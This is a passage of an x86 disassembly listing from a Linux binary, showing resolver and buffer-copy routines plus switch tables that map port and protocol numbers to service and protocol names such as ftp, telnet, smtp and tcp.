		mov	eax, [ebp+var_4]
		mov	edx, [ebp+arg_4]
		add	eax, [edx+10h]
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], eax
		jl	short loc_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+10h]
		push	eax
		mov	eax, [edx+0Ch]
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		add	eax, [ecx+4]
		push	eax
		call	bcopy
		mov	edx, [ebp+arg_4]
		mov	edx, [edx+8]
		mov	[ebp+var_4], edx
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		cmp	[ecx+8], edx
		jl	short loc_805E8DC
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+14h]
		lea	eax, [eax+eax*2]
		shl	eax, 2
		push	eax
		call	malloc
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		add	esp, 4
		test	eax, eax
		jnz	short loc_805E8E0

loc_805E8D5:				; CODE XREF: sub_805E844+31j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_805E948
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E8DC:				; CODE XREF: sub_805E844+18j
					; sub_805E844+42j ...
		xor	eax, eax
		jmp	short loc_805E948
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E8E0:				; CODE XREF: sub_805E844+8Fj
		xor	edi, edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+14h], edi
		jle	short loc_805E939
		xor	esi, esi

loc_805E8EC:				; CODE XREF: sub_805E844+F3j
		mov	ebx, esi
		mov	ecx, [ebp+arg_4]
		add	ebx, [ecx+8]
		mov	eax, [ebp+var_4]
		add	eax, 0Ch
		mov	edx, [ebp+arg_0]
		cmp	[edx+8], eax
		jb	short loc_805E8DC
		push	0Ch
		push	ebx
		mov	eax, [ebp+var_4]
		add	eax, [edx+4]
		add	eax, esi
		push	eax
		call	bcopy
		add	esp, 0Ch
		cmp	dword ptr [ebx+8], 0
		jz	short loc_805E924
		add	esi, 0FFFFFFF4h
		dec	edi
		jmp	short loc_805E92D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	36h
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805E924:				; CODE XREF: sub_805E844+D6j
		mov	ecx, [ebp+arg_4]
		mov	ecx, [ecx+0Ch]
		add	[ebx+4], ecx

loc_805E92D:				; CODE XREF: sub_805E844+DCj
		add	esi, 0Ch
		inc	edi
		mov	edx, [ebp+arg_4]
		cmp	[edx+14h], edi
		jg	short loc_805E8EC

loc_805E939:				; CODE XREF: sub_805E844+A4j
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx+18h], 0
		mov	eax, 1

loc_805E948:				; CODE XREF: sub_805E844+96j
					; sub_805E844+9Aj
		lea	esp, [ebp+var_10]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805E844	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 2 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E954	proc near		; CODE XREF: init_services_resolv+18p
					; getanswer+B8p ...
		push	ebp
		mov	ebp, esp
		cmp	dword_8078F9C, 0
		jnz	short loc_805E97D
		push	offset unk_8069490
		push	5
		call	sub_8062D4C
		push	0
		push	offset aLibc	; "libc"
		call	sub_805E110
		mov	dword_8078F9C, eax

loc_805E97D:				; CODE XREF: sub_805E954+Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_805E954	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E984	proc near		; CODE XREF: sub_804E638+35p
					; sub_804EA0C+184p ...

arg_0		= byte ptr  8
arg_1		= byte ptr  9
arg_2		= byte ptr  0Ah
arg_3		= byte ptr  0Bh

		push	ebp
		mov	ebp, esp
		movzx	eax, [ebp+arg_3]
		push	eax
		movzx	eax, [ebp+arg_2]
		push	eax
		movzx	eax, [ebp+arg_1]
		push	eax
		movzx	eax, [ebp+arg_0]
		push	eax
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	12h
		push	offset unk_807E39C
		call	sub_8062888
		mov	eax, offset unk_807E39C
		mov	esp, ebp
		pop	ebp
		retn
sub_805E984	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 3 dup(90h)

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805E9B8	proc near		; CODE XREF: sub_805F7E4+753p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-5]	; switch 166 cases 
		cmp	eax, 0A5h
		ja	loc_805EE88	; default
		jmp	ds:off_805E9D4[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
off_805E9D4	dd offset loc_805EC6C, offset loc_805EE88, offset loc_805EC78
					; DATA XREF: sub_805E9B8+14r
		dd offset loc_805EE88, offset loc_805EC84, offset loc_805EE88 ;	jump table for switch statement
		dd offset loc_805EC90, offset loc_805EE88, offset loc_805EC9C
		dd offset loc_805EE88, offset loc_805ECA8, offset loc_805EE88
		dd offset loc_805ECB4, offset loc_805EE88, offset loc_805ECC0
		dd offset loc_805ECCC, offset loc_805ECD8, offset loc_805EE88
		dd offset loc_805ECE4, offset loc_805EE88, offset loc_805ECF0
		dd 0Bh dup(offset loc_805EE88),	offset loc_805ECFC, offset loc_805EE88
		dd offset loc_805ED08, 2 dup(offset loc_805EE88), offset loc_805ED14
		dd offset loc_805ED20, 9 dup(offset loc_805EE88), offset loc_805ED2C
		dd 3 dup(offset	loc_805EE88), offset loc_805ED38, offset loc_805EE88
		dd offset loc_805ED44, 7 dup(offset loc_805EE88), offset loc_805ED50
		dd offset loc_805ED5C, offset loc_805ED68, 7 dup(offset	loc_805EE88)
		dd offset loc_805EC6C, offset loc_805EE88, offset loc_805ED74
		dd 7 dup(offset	loc_805EE88), offset loc_805ED80, 7 dup(offset loc_805EE88)
		dd offset loc_805ED8C, 4 dup(offset loc_805EE88), offset loc_805ED98
		dd offset loc_805EDA4, offset loc_805EDB0, offset loc_805EDBC
		dd offset loc_805EDC8, offset loc_805EDD4, 3 dup(offset	loc_805EE88)
		dd offset loc_805EDE0, offset loc_805EE88, offset loc_805EDEC
		dd offset loc_805EE88, offset loc_805EDF8, offset loc_805EE88
		dd offset loc_805EE04, offset loc_805EE88, offset loc_805EE10
		dd offset loc_805EE88, offset loc_805EE1C, offset loc_805EE88
		dd offset loc_805EE28, offset loc_805EE88, offset loc_805EE34
		dd 9 dup(offset	loc_805EE88), offset loc_805EE40, 2 dup(offset loc_805EE88)
		dd offset loc_805EE4C, 7 dup(offset loc_805EE88), offset loc_805EE58
		dd 10h dup(offset loc_805EE88),	offset loc_805EE64, offset loc_805EE70
		dd 7 dup(offset	loc_805EE88), offset loc_805EE7C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EC6C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aRje ; case	0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EC78:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aEcho ; case 0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EC84:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aDiscard ; case 0x9
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EC90:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSystat ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EC9C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aDaytime ; case 0xd
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECA8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNetstat ; case 0xf
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECB4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aQotd ; case 0x11
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECC0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aChargen ; case 0x13
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECCC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aFtpData ; case 0x14
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECD8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aFtp ; case	0x15
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECE4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aTelnet ; case 0x17
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECF0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSmtp ; case 0x19
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ECFC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aTime ; case 0x25
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED08:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aRlp ; case	0x27
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED14:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aName ; case 0x2a
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED20:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aWhois ; case 0x2b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED2C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aDomain_0 ;	case 0x35
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED38:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aApts ; case 0x39
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED44:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aApfs ; case 0x3b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED50:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aBootps ; case 0x43
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED5C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aBootpc ; case 0x44
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED68:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aTftp ; case 0x45
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED74:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aFinger ; case 0x4f
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED80:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aLink ; case 0x57
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED8C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSupdup ; case 0x5f
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805ED98:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNewacct ; case 0x64
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDA4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aHostnames ; case 0x65
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDB0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aIsoTsap ; case 0x66
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDBC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aX400 ; case 0x67
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDC8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aX400Snd ; case 0x68
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDD4:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aCsnetNs ; case 0x69
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDE0:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aPop2 ; case 0x6d
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDEC:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSunrpc ; case 0x6f
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EDF8:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aAuth ; case 0x71
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE04:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSftp ; case 0x73
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE10:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aUucpPath ;	case 0x75
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE1C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNntp ; case 0x77
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE28:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aErpc ; case 0x79
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE34:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNtp ; case	0x7b
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE40:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aStatsrv ; case 0x85
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE4C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aProfile ; case 0x88
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE58:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aNews ; case 0x90
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE64:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSnmp ; case 0xa1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE70:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aSnmpTrap ;	case 0xa2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE7C:				; CODE XREF: sub_805E9B8+14j
					; DATA XREF: sub_805E9B8+1Co
		mov	eax, offset aPrintSrv ;	case 0xaa
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EE88:				; CODE XREF: sub_805E9B8+Ej
					; sub_805E9B8+14j
					; DATA XREF: ...
		push	edx		; default
		push	offset aD_0	; "%d"
		push	offset unk_807E3B0
		call	sprintf
		mov	eax, offset unk_807E3B0
		mov	esp, ebp
		pop	ebp
		retn
sub_805E9B8	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame hidden

sub_805EEA4	proc near		; CODE XREF: sub_805F7E4+6F9p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [edx-1]	; switch 17 cases 
		cmp	eax, 10h
		ja	loc_805EF94	; default
		jmp	ds:off_805EEC0[eax*4] ;	switch jump
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
off_805EEC0	dd offset loc_805EF04, offset loc_805EF10, offset loc_805EF1C
					; DATA XREF: sub_805EEA4+12r
		dd offset loc_805EF94, offset loc_805EF28, offset loc_805EF34 ;	jump table for switch statement
		dd offset loc_805EF40, offset loc_805EF4C, offset loc_805EF58
		dd offset loc_805EF94, offset loc_805EF64, offset loc_805EF70
		dd 3 dup(offset	loc_805EF94), offset loc_805EF7C, offset loc_805EF88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF04:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aIcmp ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF10:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aIgmp ; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF1C:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aGgp ; case	0x3
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF28:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aSt	; case 0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF34:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aTcp ; case	0x6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF40:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aUcl ; case	0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF4C:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aEgp ; case	0x8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF58:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aIgp ; case	0x9
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF64:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aNvpIi ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		db 8Dh,	76h, 0
